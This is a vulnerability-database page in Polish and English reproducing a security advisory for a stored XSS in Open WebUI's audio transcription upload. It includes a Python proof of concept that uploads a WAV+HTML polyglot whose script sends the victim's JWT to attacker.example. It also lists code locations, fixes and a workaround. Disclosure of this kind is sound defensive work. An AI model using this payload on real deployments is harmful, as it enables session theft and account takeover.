Wysoka

Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

  • Ujawniono: 14.05.2026
  • Aktualizacja: 11.10.2026 14:18

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

  • backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
    allowlist, no cross-check against file.content_type.
  • backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
    and sets no Content-Disposition.
  • backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
  • backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
  • src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
  • backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

python
import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                                                                                                         
r = httpx.post(                                                                                                                                          
    'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        
    headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 
    files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  
)                                                                                                                                                        
fn = r.json()['filename']      # '<uuid>.html'
#Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact

Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force
Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.

Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) open-webui < 0.9.3 0.9.3

Odnośniki

Ocena CVSS 8.7/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Słabość (CWE)
CWE-434, CWE-646, CWE-79
Platforma
Python (PyPI)
Paczka
open-webui
Ujawniono
14.05.2026
Aktualizacja
11.10.2026 14:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2748 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m8f9-9whg-f4xr - CC BY 4.0

Historia podatności: open-webui

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (161) w archiwum
Wszystkich wpisów
161
Pierwsza → ostatnia
08.2024 09.2026
Bez poprawki
11
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 77
  • Średnia 75
  • Niska 8

Ujawnienia w latach

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Istotność:
  1. Wysoka · 8.7 CVE-2026-70492 >= 0.10.0, < 0.11.0 0.11.0
  2. Wysoka · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  3. Wysoka · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  4. Wysoka · 7.3 CVE-2026-26192 < 0.7.0 0.7.0
  5. Wysoka · 7.6 CVE-2026-54013 < 0.9.6 0.9.6
  6. Wysoka · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  7. Wysoka · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  8. Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions ten wpis
    Wysoka · 8.7 CVE-2026-45315 < 0.9.3 0.9.3
  9. Wysoka · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  10. Wysoka · 8.3 CVE-2026-44570 < 0.6.19 0.6.19
  11. Wysoka · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  12. Wysoka · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  13. Wysoka · 8.3 CVE-2026-56400 < 0.3.33 0.3.33
  14. Wysoka · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  15. Wysoka · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  16. Wysoka · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  17. Krytyczna · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  18. Wysoka · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
Pokaż więcej (18) Widać 60 z 78

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.